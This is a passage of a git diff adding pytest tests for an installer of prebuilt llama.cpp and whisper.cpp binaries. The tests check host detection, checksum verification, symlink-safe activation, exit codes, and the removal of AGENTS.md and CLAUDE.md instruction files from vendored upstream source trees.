-    with pytest.raises(PrebuiltFallback, match = "zip archive contained a symlink entry"):
-        extract_archive(archive_path, tmp_path / "extract")
+    assert INSTALL_LLAMA_PREBUILT.main() == 0
+    assert received["install_dir"] == target.resolve()
+    assert received["instruction_cleanup_root"] == linked_root.absolute()
+    assert received["instruction_cleanup_root"].is_symlink()
+
+
+def test_install_prebuilt_uses_explicit_instruction_cleanup_root(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "target"
+    linked_root = tmp_path / "linked-root"
+    install_dir.mkdir()
+    (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text("{}", encoding = "utf-8")
+    try:
+        linked_root.symlink_to(install_dir, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
+
+    cleanup_roots = []
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "detect_host", linux_host)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "remove_agent_instruction_files",
+        lambda root: cleanup_roots.append(root) or 0,
+    )
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "resolve_simple_install_release_plans",
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(RuntimeError("stop after cleanup")),
+    )
+
+    with pytest.raises(RuntimeError, match = "stop after cleanup"):
+        install_prebuilt(
+            install_dir.resolve(),
+            "latest",
+            "unslothai/llama.cpp",
+            "",
+            instruction_cleanup_root = linked_root.absolute(),
+        )
+
+    assert cleanup_roots == [linked_root.absolute()]
 
 
 def test_hydrate_source_tree_extracts_upstream_archive_contents(
@@ -224,6 +303,26 @@ def test_hydrate_source_tree_extracts_upstream_archive_contents(
             f"llama.cpp-{upstream_tag}/gguf-py/gguf/__init__.py",
             b"__all__ = []\n",
         )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/AGENTS.md",
+            b"upstream contributor instructions\n",
+        )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/examples/AGENTS.md",
+            b"nested contributor instructions\n",
+        )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/CLAUDE.md",
+            b"Claude contributor instructions\n",
+        )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/examples/CLAUDE.md",
+            b"nested Claude contributor instructions\n",
+        )
 
     source_urls = set(INSTALL_LLAMA_PREBUILT.upstream_source_archive_urls(upstream_tag))
 
@@ -244,6 +343,8 @@ def test_hydrate_source_tree_extracts_upstream_archive_contents(
     assert (install_dir / "convert_hf_to_gguf.py").exists()
     assert (install_dir / "gguf-py" / "gguf" / "__init__.py").exists()
     assert not (install_dir / f"llama.cpp-{upstream_tag}").exists()
+    assert not list(install_dir.rglob("AGENTS.md"))
+    assert not list(install_dir.rglob("CLAUDE.md"))
 
 
 def test_release_asset_download_url():
@@ -644,6 +745,29 @@ def test_activate_install_tree_restores_existing_install_after_activation_failur
     assert "restored previous install from rollback path" in output
 
 
+def test_activate_install_tree_preserves_symlink_to_resolved_target(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "target"
+    linked_root = tmp_path / "linked-root"
+    staging_dir = tmp_path / "staging"
+    install_dir.mkdir()
+    staging_dir.mkdir()
+    (install_dir / "old.txt").write_text("old", encoding = "utf-8")
+    (staging_dir / "new.txt").write_text("new", encoding = "utf-8")
+    try:
+        linked_root.symlink_to(install_dir, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "confirm_install_tree", lambda *_args: None)
+
+    activate_install_tree(staging_dir, linked_root.resolve(), linux_host())
+
+    assert linked_root.is_symlink()
+    assert (linked_root / "new.txt").read_text(encoding = "utf-8") == "new"
+    assert not (linked_root / "old.txt").exists()
+
+
 def test_activate_install_tree_cleans_all_paths_when_rollback_restore_fails(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
 ):
@@ -1128,6 +1252,7 @@ def test_install_prebuilt_falls_back_to_older_release_plan(
         approved_checksums,
         initial_fallback_used = False,
         existing_install_dir = None,
+        force_cpu = False,
     ):
         call_log.append((llama_tag, initial_fallback_used))
         if llama_tag == "b9002":
@@ -2007,6 +2132,14 @@ def test_install_prebuilt_skips_download_when_existing_install_matches(
         approved_checksums = checksums,
         prebuilt_fallback_used = False,
     )
+    (install_dir / "AGENTS.md").write_text("old root instructions", encoding = "utf-8")
+    nested_agents = install_dir / "examples" / "AGENTS.md"
+    nested_agents.parent.mkdir()
+    nested_agents.write_text("old nested instructions", encoding = "utf-8")
+    (install_dir / "CLAUDE.md").write_text("old Claude instructions", encoding = "utf-8")
+    (nested_agents.parent / "CLAUDE.md").write_text(
+        "old nested Claude instructions", encoding = "utf-8"
+    )
 
     monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "detect_host", lambda: host)
     monkeypatch.setattr(
@@ -2026,6 +2159,73 @@ def test_install_prebuilt_skips_download_when_existing_install_matches(
     )
 
     install_prebuilt(install_dir, "latest", "unslothai/llama.cpp", "")
+    assert not list(install_dir.rglob("AGENTS.md"))
+    assert not list(install_dir.rglob("CLAUDE.md"))
+
+
+def test_setup_scripts_prune_agent_files_without_shipping_a_repo_copy():
+    setup_sh = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+    setup_ps1 = (PACKAGE_ROOT / "studio" / "setup.ps1").read_text(encoding = "utf-8")
+
+    assert (
+        "_remove_agent_instruction_files \\\n"
+        '    "$SCRIPT_DIR/frontend/node_modules" \\\n'
+        '    "$_OXC_DIR/node_modules"'
+    ) in setup_sh
+    assert '_remove_agent_instruction_files "$SCRIPT_DIR/frontend" "$_OXC_DIR"' not in setup_sh
+    assert '_remove_agent_instruction_files "$LLAMA_CPP_DIR"' in setup_sh
+    assert "-name 'CLAUDE.md'" in setup_sh
+    assert 'if [ ! -L "$LLAMA_CPP_DIR" ] && {' in setup_sh
+    assert '${_LOCAL_LLAMA_CPP_LINKED:-false}" != true' not in setup_sh
+    assert "$LLAMA_CPP_DIR/$_STUDIO_OWNED_MARKER" in setup_sh
+    assert '_studio_owned_adoptable "$LLAMA_CPP_DIR"' in setup_sh
+    assert (
+        "Remove-AgentInstructionFiles -Roots @(\n"
+        '    (Join-Path $FrontendDir "node_modules"),\n'
+        '    (Join-Path $OxcValidatorDir "node_modules")\n'
+        ")"
+    ) in setup_ps1
+    assert "Remove-AgentInstructionFiles -Roots @($FrontendDir, $OxcValidatorDir)" not in setup_ps1
+    assert '"CLAUDE.md"' in setup_ps1
+    assert '-Include "AGENTS.md", "CLAUDE.md"' not in setup_ps1
+    assert '$child.Name -in @("AGENTS.md", "CLAUDE.md")' in setup_ps1
+    assert "$llamaCppIsLink" in setup_ps1
+    assert "if (-not $LocalLlamaCppLinked)" not in setup_ps1
+    assert "Join-Path $LlamaCppDir $StudioOwnedMarker" in setup_ps1
+    assert "Test-StudioOwnedAdoptable $LlamaCppDir" in setup_ps1
+    assert (
+        "Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir\n"
+        "            Remove-AgentInstructionFiles -Roots @($LlamaCppDir)"
+    ) in setup_ps1
+    assert not (PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "AGENTS.md").exists()
+    assert (PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "README.md").is_file()
+
+
+def test_setup_sh_cleanup_unlinks_instruction_symlink_only(tmp_path: Path):
+    if shutil.which("bash") is None:
+        pytest.skip("bash is not available")
+
+    setup_sh = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+    start = setup_sh.index("_remove_agent_instruction_files() {")
+    end = setup_sh.index("\n}\n", start) + 2
+    function = setup_sh[start:end]
+    managed = tmp_path / "managed"
+    external = tmp_path / "external.md"
+    managed.mkdir()
+    external.write_text("external", encoding = "utf-8")
+    instruction = managed / "AGENTS.md"
+    try:
+        instruction.symlink_to(external)
+    except OSError as exc:
+        pytest.skip(f"symlinks unavailable: {exc}")
+
+    subprocess.run(
+        ["bash", "-c", function + '\n_remove_agent_instruction_files "$1"', "bash", str(managed)],
+        check = True,
+    )
+
+    assert not os.path.lexists(instruction)
+    assert external.read_text(encoding = "utf-8") == "external"
 
 
 def test_install_prebuilt_does_not_skip_unhealthy_existing_install(
@@ -2256,6 +2456,7 @@ def test_install_prebuilt_skips_when_older_release_fallback_matches_existing_ins
         approved_checksums,
         initial_fallback_used = False,
         existing_install_dir = None,
+        force_cpu = False,
     ):
         call_log.append(llama_tag)
         raise PrebuiltFallback("validation failed for latest release")
@@ -2403,6 +2604,7 @@ def test_install_prebuilt_skips_same_release_fallback_attempt_when_installed(
         approved_checksums,
         prebuilt_fallback_used,
         quantized_path,
+        force_cpu = False,
     ):
         attempted_names.append(choice.name)
         if choice.name == first_choice.name:
@@ -2529,6 +2731,7 @@ def test_install_prebuilt_same_tag_upstream_failure_uses_older_unsloth_release_p
         approved_checksums,
         initial_fallback_used = False,
         existing_install_dir = None,
+        force_cpu = False,
     ):
         attempted.append((llama_tag, release_tag, attempts[0].source_label))
         if llama_tag == "b9002":
diff --git a/tests/studio/install/test_install_whisper_prebuilt_logic.py b/tests/studio/install/test_install_whisper_prebuilt_logic.py
new file mode 100644
index 0000000000..7364ea454d
--- /dev/null
+++ b/tests/studio/install/test_install_whisper_prebuilt_logic.py
@@ -0,0 +1,1357 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Logic tests for studio/install_whisper_prebuilt.py -- the prebuilt whisper-server installer.
+# No network/GPU: release resolution is injected and archives are built on disk in a tmp dir.
+
+import importlib.util
+import io
+import json
+import sys
+import tarfile
+import zipfile
+from pathlib import Path
+
+import pytest
+
+
+PACKAGE_ROOT = Path(__file__).resolve().parents[3]
+MODULE_PATH = PACKAGE_ROOT / "studio" / "install_whisper_prebuilt.py"
+# The installer imports install_llama_prebuilt (same directory); make studio/
+# importable so that resolves under spec-based loading.
+_STUDIO_DIR = str(MODULE_PATH.parent)
+if _STUDIO_DIR not in sys.path:
+    sys.path.insert(0, _STUDIO_DIR)
+SPEC = importlib.util.spec_from_file_location("studio_install_whisper_prebuilt", MODULE_PATH)
+assert SPEC is not None and SPEC.loader is not None
+M = importlib.util.module_from_spec(SPEC)
+sys.modules[SPEC.name] = M
+SPEC.loader.exec_module(M)
+
+HostInfo = M.HostInfo
+PrebuiltFallback = M.PrebuiltFallback
+ReleaseCompatibilityError = M.ReleaseCompatibilityError
+BusyInstallConflict = M.BusyInstallConflict
+
+RELEASE_TAG = "v1.9.1-unsloth.1"
+UPSTREAM_TAG = "v1.9.1"
+SOURCE_COMMIT = "0" * 40
+STUDIO_PROTOCOL = "inference/multipart-v1"
+
+
+def _host(
+    whisper_os: str,
+    whisper_arch: str,
+    *,
+    has_usable_nvidia: bool = False,
+    has_rocm: bool = False,
+    rocm_gfx: str | None = None,
+    macos_version: tuple[int, int] | None = None,
+) -> HostInfo:
+    ext = ".zip" if whisper_os == "windows" else ".tar.gz"
+    return HostInfo(
+        system = {"linux": "Linux", "macos": "Darwin", "windows": "Windows"}[whisper_os],
+        machine = whisper_arch,
+        whisper_os = whisper_os,
+        whisper_arch = whisper_arch,
+        archive_ext = ext,
+        is_windows = whisper_os == "windows",
+        is_macos = whisper_os == "macos",
+        is_apple_silicon = whisper_os == "macos" and whisper_arch == "arm64",
+        has_usable_nvidia = has_usable_nvidia,
+        has_rocm = has_rocm,
+        rocm_gfx = rocm_gfx,
+        macos_version = macos_version,
+    )
+
+
+def _artifact(os_: str, arch: str, backend: str, asset: str, sha256: str, **extra) -> dict:
+    art = {
+        "os": os_,
+        "arch": arch,
+        "backend": backend,
+        "asset": asset,
+        "sha256": sha256,
+        "runtime_line": extra.get("runtime_line"),
+    }
+    art.update(extra)
+    return art
+
+
+def _manifest(
+    artifacts: list[dict],
+    *,
+    component: str = "whisper.cpp",
+    schema_version: int = 1,
+) -> dict:
+    return {
+        "schema_version": schema_version,
+        "component": component,
+        "studio_protocol": STUDIO_PROTOCOL,
+        "upstream_tag": UPSTREAM_TAG,
+        "source_commit": SOURCE_COMMIT,
+        "artifacts": artifacts,
+    }
+
+
+# ── Host detection (probes come from install_llama_prebuilt.detect_host) ──
+def _llama_host(
+    system: str,
+    machine: str,
+    *,
+    has_usable_nvidia: bool = False,
+    compute_caps: list[str] | None = None,
+    driver_cuda_version: tuple[int, int] | None = None,
+    has_rocm: bool = False,
+    rocm_gfx: str | None = None,
+    macos_version: tuple[int, int] | None = None,
+):
+    """A fake install_llama_prebuilt HostInfo, as llama_detect_host would return."""
+    lowered = machine.lower()
+    return M.llama.HostInfo(
+        system = system,
+        machine = machine,
+        is_windows = system == "Windows",
+        is_linux = system == "Linux",
+        is_macos = system == "Darwin",
+        is_x86_64 = lowered in {"x86_64", "amd64"},
+        is_arm64 = lowered in {"arm64", "aarch64"},
+        nvidia_smi = None,
+        driver_cuda_version = driver_cuda_version,
+        compute_caps = list(compute_caps or []),
+        visible_cuda_devices = None,
+        has_physical_nvidia = has_usable_nvidia,
+        has_usable_nvidia = has_usable_nvidia,
+        has_rocm = has_rocm,
+        rocm_gfx_target = rocm_gfx,
+        macos_version = macos_version,
+    )
+
+
+@pytest.mark.parametrize(
+    "system,machine,exp_os,exp_arch,exp_ext",
+    [
+        ("Linux", "x86_64", "linux", "x64", ".tar.gz"),
+        ("Linux", "aarch64", "linux", "arm64", ".tar.gz"),
+        ("Darwin", "x86_64", "macos", "x64", ".tar.gz"),
+        ("Darwin", "arm64", "macos", "arm64", ".tar.gz"),
+        ("Windows", "AMD64", "windows", "x64", ".zip"),
+        ("Windows", "ARM64", "windows", "arm64", ".zip"),
+    ],
+)
+def test_detect_host(monkeypatch, system, machine, exp_os, exp_arch, exp_ext):
+    monkeypatch.setattr(M, "llama_detect_host", lambda: _llama_host(system, machine))
+    host = M.detect_host()
+    assert (host.whisper_os, host.whisper_arch, host.archive_ext) == (exp_os, exp_arch, exp_ext)
+    assert host.is_windows == (exp_os == "windows")
+    assert host.is_apple_silicon == (exp_os == "macos" and exp_arch == "arm64")
+
+
+def test_detect_host_maps_rocm_fields(monkeypatch):
+    monkeypatch.setattr(
+        M,
+        "llama_detect_host",
+        lambda: _llama_host("Linux", "x86_64", has_rocm = True, rocm_gfx = "gfx1100"),
+    )
+    host = M.detect_host()
+    assert host.has_rocm is True
+    assert host.rocm_gfx == "gfx1100"
+    assert host.has_usable_nvidia is False
+
+
+@pytest.mark.parametrize(
+    "system,machine",
+    [("Plan9", "x86_64"), ("Linux", "sparc64"), ("Linux", "armv7l")],
+)
+def test_detect_host_unsupported(monkeypatch, system, machine):
+    monkeypatch.setattr(M, "llama_detect_host", lambda: _llama_host(system, machine))
+    with pytest.raises(PrebuiltFallback):
+        M.detect_host()
+
+
+# ── Asset naming (pure) ──
+def test_whisper_asset_name():
+    assert (
+        M.whisper_asset_name(RELEASE_TAG, _host("linux", "x64"), "cpu")
+        == "whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz"
+    )
+    assert (
+        M.whisper_asset_name(RELEASE_TAG, _host("macos", "arm64"), "metal")
+        == "whisper-v1.9.1-unsloth.1-macos-arm64-metal.tar.gz"
+    )
+    assert (
+        M.whisper_asset_name(RELEASE_TAG, _host("windows", "x64"), "cuda12")
+        == "whisper-v1.9.1-unsloth.1-windows-x64-cuda12.zip"
+    )
+
+
+# ── Install layout ──
+def test_whisper_server_path_layout():
+    nix = _host("linux", "x64")
+    win = _host("windows", "x64")
+    assert M.whisper_server_path(Path("/w"), nix) == Path("/w/build/bin/whisper-server")
+    assert M.whisper_server_path(Path("/w"), win) == Path("/w/build/bin/Release/whisper-server.exe")
+
+
+# ── Manifest parse + basic selection (wiring pin; the rejection matrix,
+# extraction guards, resolver payload shape and macOS min_os gating are
+# asserted against the real whisper descriptor in
+# tests/studio/install/test_prebuilt_core.py) ──
+def test_parse_manifest_ok_and_basic_selection():
+    cpu_asset = "whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz"
+    manifest = M.parse_manifest(_manifest([_artifact("linux", "x64", "cpu", cpu_asset, "a" * 64)]))
+    assert manifest["component"] == "whisper.cpp"
+    assert manifest["studio_protocol"] == STUDIO_PROTOCOL
+    host = _host("linux", "x64")
+    # The pinned pre-slim escape hatch: only the fat CPU bundle ever matches.
+    assert M.select_artifact(manifest, host, "cpu")["asset"] == cpu_asset
+    assert M.select_artifact(manifest, host, "metal") is None
+
+
+def test_select_artifact_never_picks_fat_gpu_bundles():
+    # A pinned pre-slim release's fat GPU bundles are dead shapes: a cuda/rocm
+    # backend selects nothing (the core then retries with cpu), never the fat
+    # per-accelerator artifact.
+    manifest = M.parse_manifest(
+        _manifest(
+            [
+                _artifact("linux", "x64", "cpu", "whisper-linux-x64-cpu.tar.gz", "a" * 64),
+                _artifact("linux", "x64", "cuda", "whisper-linux-x64-cuda13.tar.gz", "b" * 64),
+                _artifact("linux", "x64", "rocm", "whisper-linux-x64-rocm.tar.gz", "c" * 64),
+            ]
+        )
+    )
+    cuda_host = _host("linux", "x64", has_usable_nvidia = True)
+    assert M.select_artifact(manifest, cuda_host, "cuda") is None
+    rocm_host = _host("linux", "x64", has_rocm = True, rocm_gfx = "gfx1100")
+    assert M.select_artifact(manifest, rocm_host, "rocm") is None
+    artifact, backend, used_fallback = M.select_artifact_with_fallback(manifest, cuda_host, "cuda")
+    assert artifact["asset"] == "whisper-linux-x64-cpu.tar.gz"
+    assert backend == "cpu" and used_fallback is True
+
+
+# ── Traversal-safe extraction ──
+def _add_file(
+    tar: tarfile.TarFile,
+    name: str,
+    data: bytes,
+    mode: int = 0o644,
+):
+    info = tarfile.TarInfo(name)
+    info.size = len(data)
+    info.mode = mode
+    tar.addfile(info, io.BytesIO(data))
+
+
+# ── Fixture archive + full staging/activate install ──
+def _build_cpu_bundle(tmp_path: Path, host: HostInfo) -> tuple[Path, str, str]:
+    """Build a fake CPU bundle archive with a dummy server + lib; return (path, name, sha256)."""
+    asset = M.whisper_asset_name(RELEASE_TAG, host, "cpu")
+    archive = tmp_path / asset
+    server_name = M.server_binary_name(host)
+    with tarfile.open(archive, "w:gz") as tar:
+        _add_file(tar, server_name, b"#!/bin/sh\necho whisper\n", mode = 0o755)
+        _add_file(tar, "libwhisper.so", b"dummy-libwhisper")
+        _add_file(tar, "libggml-base.so", b"dummy-libggml")
+    return archive, asset, M.sha256_file(archive)
+
+
+def _install_env(
+    monkeypatch,
+    tmp_path,
+    host,
+    *,
+    asset,
+    sha256,
+    backend_in_manifest = "cpu",
+):
+    """Wire monkeypatches so install_prebuilt runs fully offline against a local
+    archive, injecting the release bundle + checksum index (the checksum trust
+    model) via the single fetch_release_for_install seam."""
+    manifest = M.parse_manifest(
+        _manifest(
+            [_artifact(host.whisper_os, host.whisper_arch, backend_in_manifest, asset, sha256)]
+        )
+    )
+    bundle = M.ReleaseBundle(
+        repo = "unslothai/whisper.cpp",
+        release_tag = RELEASE_TAG,
+        manifest = manifest,
+        asset_urls = {asset: f"https://example.invalid/{asset}"},
+    )
+    checksums = {asset: sha256}
+    monkeypatch.setattr(
+        M,
+        "fetch_release_for_install",
+        lambda repo, *, published_release_tag = None: (bundle, checksums),
+    )
+    return bundle
+
+
+def test_install_produces_colocated_layout_and_marker(tmp_path, monkeypatch):
+    host = _host("linux", "x64")
+    archive, asset, sha256 = _build_cpu_bundle(tmp_path, host)
+
+    def fake_download(url, destination):
+        destination.parent.mkdir(parents = True, exist_ok = True)
+        destination.write_bytes(archive.read_bytes())
+
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "download_file", fake_download)
+    _install_env(monkeypatch, tmp_path, host, asset = asset, sha256 = sha256)
+
+    install_dir = tmp_path / "whisper.cpp"
+    rc = M.install_prebuilt(install_dir, backend = "cpu")
+    assert rc == M.EXIT_SUCCESS
+
+    server = install_dir / "build" / "bin" / "whisper-server"
+    assert server.is_file()
+    assert server.stat().st_mode & 0o111  # +x set on unix
+    # every shared lib from the archive is co-located next to the server
+    assert (install_dir / "build" / "bin" / "libwhisper.so").is_file()
+    assert (install_dir / "build" / "bin" / "libggml-base.so").is_file()
+    # marker written at the component root
+    marker = json.loads((install_dir / M.METADATA_FILENAME).read_text())
+    assert marker["component"] == "whisper.cpp"
+    assert marker["release_tag"] == RELEASE_TAG
+    assert marker["backend"] == "cpu"
+    assert marker["studio_protocol"] == STUDIO_PROTOCOL
+    assert marker["install_fingerprint"]
+
+
+def test_install_is_idempotent(tmp_path, monkeypatch):
+    host = _host("linux", "x64")
+    archive, asset, sha256 = _build_cpu_bundle(tmp_path, host)
+
+    calls = {"n": 0}
+
+    def fake_download(url, destination):
+        calls["n"] += 1
+        destination.parent.mkdir(parents = True, exist_ok = True)
+        destination.write_bytes(archive.read_bytes())
+
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "download_file", fake_download)
+    _install_env(monkeypatch, tmp_path, host, asset = asset, sha256 = sha256)
+
+    install_dir = tmp_path / "whisper.cpp"
+    assert M.install_prebuilt(install_dir, backend = "cpu") == M.EXIT_SUCCESS
+    assert calls["n"] == 1
+    # Second run: marker + binary already match -> "already matches", no download.
+    assert M.install_prebuilt(install_dir, backend = "cpu") == M.EXIT_SUCCESS
+    assert calls["n"] == 1
+
+
+def test_install_sha_mismatch_then_retry_fails_closed(tmp_path, monkeypatch):
+    host = _host("linux", "x64")
+    archive, asset, _real_sha = _build_cpu_bundle(tmp_path, host)
+    wrong_sha = "f" * 64  # the checksum index claims a different sha than the archive
+
+    def fake_download(url, destination):
+        destination.parent.mkdir(parents = True, exist_ok = True)
+        destination.write_bytes(archive.read_bytes())
+
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "download_file", fake_download)
+    _install_env(monkeypatch, tmp_path, host, asset = asset, sha256 = wrong_sha)
+
+    install_dir = tmp_path / "whisper.cpp"
+    with pytest.raises(PrebuiltFallback):
+        M.install_prebuilt(install_dir, backend = "cpu")
+    # A failed verify never activates a binary.
+    assert not (install_dir / "build" / "bin" / "whisper-server").exists()
+
+
+# ── Busy lock -> exit 3 ──
+def test_busy_lock_maps_to_exit_busy(tmp_path, monkeypatch):
+    host = _host("linux", "x64")
+    archive, asset, sha256 = _build_cpu_bundle(tmp_path, host)
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "download_file", lambda u, d: None)
+    _install_env(monkeypatch, tmp_path, host, asset = asset, sha256 = sha256)
+
+    from contextlib import contextmanager
+
+    @contextmanager
+    def busy_lock(_path):
+        raise BusyInstallConflict("held by another process")
+        yield  # pragma: no cover
+
+    monkeypatch.setattr(M, "install_lock", busy_lock)
+    rc = M.main(["--install-dir", str(tmp_path / "whisper.cpp"), "--backend", "cpu"])
+    assert rc == M.EXIT_BUSY
+
+
+# ── Resolver JSON shape ──
+def test_resolve_mode_keeps_stdout_json_only(tmp_path, monkeypatch, capsys):
+    # Even when the slim pairing emits diagnostics, --resolve-prebuilt must keep
+    # stdout to exactly the JSON line (setup.sh / whisper_cpp_update.py parse
+    # it); the slim_selection log noise belongs on stderr.
+    host = _cuda_host()
+    bin_dir = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")
+    )
+    manifest = _slim_manifest()
+    bundle = M.ReleaseBundle(
+        repo = "unslothai/whisper.cpp",
+        release_tag = RELEASE_TAG,
+        manifest = manifest,
+        asset_urls = {
+            a["asset"]: f"https://example.invalid/{a['asset']}" for a in manifest["artifacts"]
+        },
+    )
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(
+        M, "fetch_release_for_install", lambda repo, *, published_release_tag = None: (bundle, {})
+    )
+    # A prior install test may have left the module flag True; the resolver must
+    # force it back to stderr regardless.
+    monkeypatch.setattr(M, "_LOG_TO_STDOUT", True, raising = False)
+
+    rc = M.main(["--resolve-prebuilt", "--output-format", "json"])
+    assert rc == M.EXIT_SUCCESS
+    captured = capsys.readouterr()
+    payload = json.loads(captured.out.strip())  # exactly one JSON line, parseable
+    assert payload["asset"] == SLIM_ASSET
+    assert "[whisper-prebuilt]" not in captured.out  # no log noise on stdout
+    assert "slim_selection:" in captured.err  # diagnostics routed to stderr
+
+
+def test_main_maps_prebuilt_fallback_to_exit_error(tmp_path, monkeypatch):
+    def boom(*a, **kw):
+        raise PrebuiltFallback("no prebuilt")
+
+    monkeypatch.setattr(M, "install_prebuilt", boom)
+    rc = M.main(["--install-dir", str(tmp_path / "whisper.cpp"), "--backend", "cpu"])
+    assert rc == M.EXIT_ERROR
+
+
+def test_main_forwards_requested_whisper_tags(tmp_path, monkeypatch):
+    seen = {}
+
+    def install(*args, **kwargs):
+        seen.update(kwargs)
+        return M.EXIT_SUCCESS
+
+    monkeypatch.setattr(M, "install_prebuilt", install)
+    rc = M.main(["--install-dir", str(tmp_path / "whisper.cpp"), "--whisper-tag", "v1.9.0"])
+    assert rc == M.EXIT_SUCCESS
+    assert seen["whisper_tag"] == "v1.9.0"
+
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(
+        M,
+        "resolve_prebuilt",
+        lambda host, **kwargs: seen.update(kwargs)
+        or {"prebuilt_available": False, "repo": "unslothai/whisper.cpp"},
+    )
+    assert M.main(["--resolve-prebuilt", "v1.8.0", "--output-format", "json"]) == 0
+    assert seen["whisper_tag"] == "v1.8.0"
+
+
+def test_main_reserves_exit_2_for_release_incompatibility(tmp_path, monkeypatch):
+    def boom(*a, **kw):
+        raise ReleaseCompatibilityError("slim bundle requires llama.cpp b2; installed b1")
+
+    monkeypatch.setattr(M, "install_prebuilt", boom)
+    rc = M.main(["--install-dir", str(tmp_path / "whisper.cpp"), "--backend", "cpu"])
+    assert rc == M.EXIT_INCOMPATIBLE
+
+
+def test_main_maps_unexpected_error_to_exit_error(tmp_path, monkeypatch):
+    def boom(*a, **kw):
+        raise RuntimeError("kaboom")
+
+    monkeypatch.setattr(M, "install_prebuilt", boom)
+    rc = M.main(["--install-dir", str(tmp_path / "whisper.cpp"), "--backend", "cpu"])
+    assert rc == M.EXIT_ERROR
+
+
+def test_resolve_mode_unexpected_error_reports_unavailable(monkeypatch, capsys):
+    # An unexpected failure inside the probe maps to prebuilt_available=False, not
+    # a traceback, so the caller falls back cleanly.
+    host = _host("linux", "x64")
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+
+    def boom(repo, *, published_release_tag = None):
+        raise RuntimeError("network down")
+
+    monkeypatch.setattr(M, "fetch_release_for_install", boom)
+    rc = M.main(["--resolve-prebuilt", "--output-format", "json"])
+    assert rc == M.EXIT_SUCCESS
+    payload = json.loads(capsys.readouterr().out.strip())
+    assert payload == {"prebuilt_available": False, "repo": "unslothai/whisper.cpp"}
+
+
+# ── --rocm-gfx / --has-rocm overrides (llama parity) ──
+def test_rocm_gfx_override_implies_has_rocm():
+    # --rocm-gfx alone (no --has-rocm) must enable ROCm and clear NVIDIA, else the
+    # host stays on its CUDA/CPU path and never picks the ROCm bundle.
+    base = _host("linux", "x64", has_usable_nvidia = True)
+    out = M.apply_host_overrides(base, rocm_gfx = "gfx1100")
+    assert out.has_rocm is True
+    assert out.rocm_gfx == "gfx1100"
+    assert out.has_usable_nvidia is False
+    assert M.auto_detect_backend(out) == "rocm"
+
+
+# ── Slim bundles paired with the installed llama.cpp ggml runtime ──
+SLIM_LLAMA_TAG = "b10069-mix-fb3d4ca"
+SLIM_ASSET = "whisper-v1.9.1-unsloth.1-linux-x64-slim.tar.gz"
+CPU_ASSET = "whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz"
+
+
+def _fake_llama_bin(
+    tmp_path: Path,
+    *,
+    backend_module: str | None = "libggml-cuda.so",
+    sonames: tuple[str, ...] = ("libggml.so.0", "libggml-base.so.0"),
+) -> Path:
+    bin_dir = tmp_path / "llama.cpp" / "build" / "bin"
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    for name in sonames:
+        (bin_dir / name).write_bytes(b"ggml-old-" + name.encode())
+    if backend_module:
+        (bin_dir / backend_module).write_bytes(b"ggml-backend-old")
+    (bin_dir / "libggml-cpu-x64.so").write_bytes(b"ggml-cpu-old")
+    (bin_dir / "libllama.so").write_bytes(b"not-ggml")  # must never be linked
+    return bin_dir
+
+
+def _slim_artifact(**extra) -> dict:
+    art = {
+        "os": "linux",
+        "arch": "x64",
+        "backend": "slim",
+        "asset": SLIM_ASSET,
+        "sha256": "c" * 64,
+        "install_kind": "slim",
+        "requires_llama_tag": SLIM_LLAMA_TAG,
+        "requires_ggml_version": "0.17.0",
+        "requires_ggml_sonames": ["libggml.so.0", "libggml-base.so.0"],
+        "min_os": None,
+    }
+    art.update(extra)
+    return art
+
+
+def _slim_manifest(slim_extra: dict | None = None) -> dict:
+    """The transition-release shape: a slim bundle beside the published fat CPU
+    bundle (the pinned pre-slim escape hatch)."""
+    artifacts = [
+        _artifact("linux", "x64", "cpu", CPU_ASSET, "a" * 64),
+        _slim_artifact(**(slim_extra or {})),
+    ]
+    return M.parse_manifest(_manifest(artifacts))
+
+
+def _cuda_host() -> HostInfo:
+    return _host("linux", "x64", has_usable_nvidia = True)
+
+
+def test_installed_llama_runtime_reads_marker(tmp_path):
+    root = tmp_path / "llama.cpp"
+    bin_dir = root / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    (root / "UNSLOTH_PREBUILT_INFO.json").write_text(
